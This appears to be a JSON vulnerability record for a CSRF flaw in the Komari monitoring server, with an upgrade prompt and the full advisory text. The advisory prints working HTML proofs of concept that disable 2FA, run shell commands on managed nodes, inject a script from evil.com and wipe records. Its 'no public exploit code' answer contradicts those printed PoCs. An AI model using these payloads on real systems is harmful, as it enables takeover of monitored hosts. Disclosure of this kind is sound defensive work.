{"answers":{"affected":"3 open source packages ship an affected version, including github.com/komari-monitor/komari.","exploited":"There is no known exploitation of GHSA-hxjg-93wc-h8p8 in the wild and no public exploit code.","fix":"Upgrade github.com/komari-monitor/komari to 0.0.0-20260609084633-98122fa4d110 or later.","what":"GHSA-hxjg-93wc-h8p8 is a vulnerability in github.com/komari-monitor/komari, published on 9 Sep 2026. An attacker needs administrator access to exploit it, and only if a user opens a file or follows a link."},"fix_prompt":"Check this codebase for GHSA-hxjg-93wc-h8p8 and fix it if it is affected.\n\nWhat it is: GHSA-hxjg-93wc-h8p8 is a vulnerability in github.com/komari-monitor/komari, published on 9 Sep 2026. An attacker needs administrator access to exploit it, and only if a user opens a file or follows a link.\nExploitation: There is no known exploitation of GHSA-hxjg-93wc-h8p8 in the wild and no public exploit code.\n\nAffected packages and fixed versions:\n- github.com/komari-monitor/komari (Go): affected all versions; fixed in 0.0.0-20260609084633-98122fa4d110\n- github.com/komari-monitor/komari (Go): affected all versions; fixed in 0.0.0-20260609084633-98122fa4d110\n- github.com/komari-monitor/komari (Go): affected all versions; fixed in 0.0.0-20260609084633-98122fa4d110\n\nTask:\n1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.\n2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.\n3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.\n4. Run the tests and summarise what changed and why.\n5. If nothing in the project is affected, say so and change nothing.\n\nReference: https://insights.sbomify.com/GHSA-hxjg-93wc-h8p8/ (Markdown: https://insights.sbomify.com/GHSA-hxjg-93wc-h8p8/index.md)","id":"GHSA-hxjg-93wc-h8p8","markdown":"https://insights.sbomify.com/GHSA-hxjg-93wc-h8p8/index.md","name":"GHSA-hxjg-93wc-h8p8","record":{"aliases":["GO-2026-6449"],"analysis":{"component_type":"server_software","fix_type":"patch","impacts":["code_execution","privilege_escalation"],"network_reachable":"yes","non_default_config":false,"product_category":"Komari monitoring server","requires_auth":"high_privilege","summary":"An attacker can trick an authenticated administrator into performing actions like executing commands or disabling 2FA via CSRF, though modern browser defaults mitigate this.","user_interaction":"required","vuln_class":"csrf"},"analysis_generated_by":"qwen3.8-flash-next","assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"# Vulnerability Overview\n\nThe `session_token` cookie is set **without** the `SameSite` or `Secure` attributes (`login.go:68`).\n\nAll `/api/admin/` management endpoints rely solely on this cookie for authentication, with **no CSRF token or Origin validation**.\n\n**The server-side vulnerability is confirmed to exist; however, exploitation via cross-site requests is mitigated in modern browsers by the default `SameSite=Lax` behavior.**\n\n## Root Cause\n\n```go\n// komari-main/api/public/login.go:68\nc.SetCookie(\"session_token\", session, 2592000, \"/\", \"\", false, true)\n//   Secure=false, SameSite not explicitly set\n//   Admin route group (server.go:213-343) has no CSRF middleware\n```\n\nGin's `ShouldBindJSON` does not strictly validate the `Content-Type` header, allowing `text/plain` requests to bypass CORS preflight.\n\n## Browser Limitations\n\n- Chrome 80+ (Feb 2020), Firefox 103+ (Jul 2022), and Safari all default unspecified cookies to `SameSite=Lax`.\n- Cookies without an explicit `SameSite` attribute **are not included in cross-site POST requests**.\n- As a result, the server receives requests without the session cookie and returns **HTTP 401 Unauthorized**.\n\n| Scenario | Exploitable |\n|----------|-------------|\n| Cross-site HTML (modern browsers) | ✗ Blocked by `SameSite=Lax` |\n| Cross-site HTML (Chrome \u003c80 / legacy browsers) | ✓ |\n| Same-origin context (Browser Console / existing XSS) | ✓ |\n| Man-in-the-middle over HTTP (`Secure=false`) | ✓ |\n\n## High-Impact Operations Reachable via CSRF\n\n| Endpoint | Method | Impact |\n|----------|--------|--------|\n| `/api/admin/task/exec` | POST | Execute arbitrary shell commands on managed nodes |\n| `/api/admin/2fa/disable` | POST | Disable administrator two-factor authentication |\n| `/api/admin/settings/` | POST | Modify system configuration |\n| `/api/admin/upload/backup` | POST | Upload a malicious backup |\n| `/api/admin/record/clear/all` | POST | Delete all monitoring records |\n| `/api/admin/client/:uuid/edit` | POST | Modify client configuration |\n| `/api/admin/client/:uuid/remove` | POST | Remove managed clients |\n| `/api/admin/session/remove/all` | POST | Invalidate all active sessions |\n| `/api/admin/settings/cloudflared/start` | POST | Start a Cloudflared tunnel |\n\n## PoC 1 — Disable 2FA\n\n```html\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003chead\u003e\u003ctitle\u003eLoading...\u003c/title\u003e\u003c/head\u003e\n\u003cbody\u003e\n\u003ciframe name=\"sink\" style=\"display:none\"\u003e\u003c/iframe\u003e\n\u003cform id=\"f\" method=\"POST\"\n      action=\"https://komari.example.com/api/admin/2fa/disable\"\n      target=\"sink\"\u003e\u003c/form\u003e\n\u003cscript\u003e\n  document.getElementById('f').submit();\n\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\n## PoC 2 — Remote Command Execution\n\n```html\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003chead\u003e\u003ctitle\u003eLoading...\u003c/title\u003e\u003c/head\u003e\n\u003cbody\u003e\n\u003cscript\u003e\nvar KOMARI = \"https://komari.example.com\";\nvar CMD    = \"id \u0026\u0026 hostname \u0026\u0026 whoami\";\n\nfetch(KOMARI + \"/api/admin/client/list\", { credentials: \"include\" })\n  .then(function(r){ return r.json(); })\n  .then(function(data){\n    var nodes = data.data || [];\n    var uuids = [];\n    for (var i = 0; i \u003c nodes.length; i++) {\n      if (nodes[i].uuid) uuids.push(nodes[i].uuid);\n    }\n    if (uuids.length === 0) return;\n    return fetch(KOMARI + \"/api/admin/task/exec\", {\n      method: \"POST\",\n      credentials: \"include\",\n      headers: { \"Content-Type\": \"application/json\" },\n      body: JSON.stringify({ command: CMD, clients: uuids })\n    });\n  });\n\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\n## PoC 3 — Modify System Configuration\n\n```html\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003chead\u003e\u003ctitle\u003eLoading...\u003c/title\u003e\u003c/head\u003e\n\u003cbody\u003e\n\u003cscript\u003e\nvar KOMARI = \"https://komari.example.com\";\nfetch(KOMARI + \"/api/admin/settings/\", {\n  method: \"POST\",\n  credentials: \"include\",\n  headers: { \"Content-Type\": \"application/json\" },\n  body: JSON.stringify({\n    \"site_name\": \"Pwned\",\n    \"custom_head\": \"\u003cscript src='https://evil.com/hook.js'\u003e\u003c\\/script\u003e\"\n  })\n});\n\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\n## PoC 4 — Clear All Monitoring Records\n\n```html\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003chead\u003e\u003ctitle\u003eLoading...\u003c/title\u003e\u003c/head\u003e\n\u003cbody\u003e\n\u003ciframe name=\"sink\" style=\"display:none\"\u003e\u003c/iframe\u003e\n\u003cform id=\"f\" method=\"POST\"\n      action=\"https://komari.example.com/api/admin/record/clear/all\"\n      target=\"sink\"\u003e\u003c/form\u003e\n\u003cscript\u003e\ndocument.getElementById('f').submit();\n\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\n## Verification Script\n\n```bash\n#!/bin/bash\nKOMARI=\"${1:-https://komari.example.com}\"\n\necho \"=== CSRF Verification ===\"\n\necho \"[1] Cookie Attributes...\"\ncurl -s -D - -o /dev/null \\\n  -X POST \"$KOMARI/api/public/login\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"username\":\"test\",\"password\":\"test\"}' | grep -i 'set-cookie'\n\necho \"\"\necho \"[2] CORS Headers...\"\ncurl -s -D - -o /dev/null \\\n  -H \"Origin: https://evil.com\" \\\n  \"$KOMARI/api/public/config\" | grep -i 'access-control'\n\necho \"\"\necho \"[3] CSRF Protection on Admin Endpoint...\"\nCODE=$(curl -s -o /dev/null -w \"%{http_code}\" \\\n  -X POST \"$KOMARI/api/admin/settings/\" \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Origin: https://evil.com\" \\\n  -d '{}')\n\necho \"    HTTP ${CODE} — A 401 response indicates that only session authentication is enforced and no CSRF protection is present.\"\n```","ecosystems":["Go"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":true,"headline":"Komari: Management Interface CSRF","id":"GHSA-hxjg-93wc-h8p8","indexable":true,"kev":null,"kind":"advisory","links":{"ecosystem":"Go","product":null,"products":[],"type":"csrf","year":"2026"},"n_packages":3,"n_references":null,"packages":[{"ecosystem":"Go","fixed":["0.0.0-20260609084633-98122fa4d110"],"introduced":["0"],"last_affected":[],"package":"github.com/komari-monitor/komari","purl":null,"source":"GHSA-hxjg-93wc-h8p8"},{"ecosystem":"Go","fixed":["0.0.0-20260609084633-98122fa4d110"],"introduced":["0"],"last_affected":[],"package":"github.com/komari-monitor/komari","purl":"pkg:golang/github.com/komari-monitor/komari","source":"GHSA-hxjg-93wc-h8p8"},{"ecosystem":"Go","fixed":["0.0.0-20260609084633-98122fa4d110"],"introduced":["0"],"last_affected":[],"package":"github.com/komari-monitor/komari","purl":"pkg:golang/github.com/komari-monitor/komari","source":"GO-2026-6449"}],"products":null,"published":"2026-09-09","related":[],"sources":[{"class":"attribution","licence":"CC BY 4.0","name":"GitHub Advisory Database","prefix":"GHSA"},{"class":"attribution","licence":"CC BY 4.0","name":"Go Vulnerability Database","prefix":"GO"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":"An attacker can trick an authenticated administrator into performing actions like executing commands or disabling 2FA via CSRF, though modern browser defaults mitigate this.","url":"https://insights.sbomify.com/GHSA-hxjg-93wc-h8p8/"}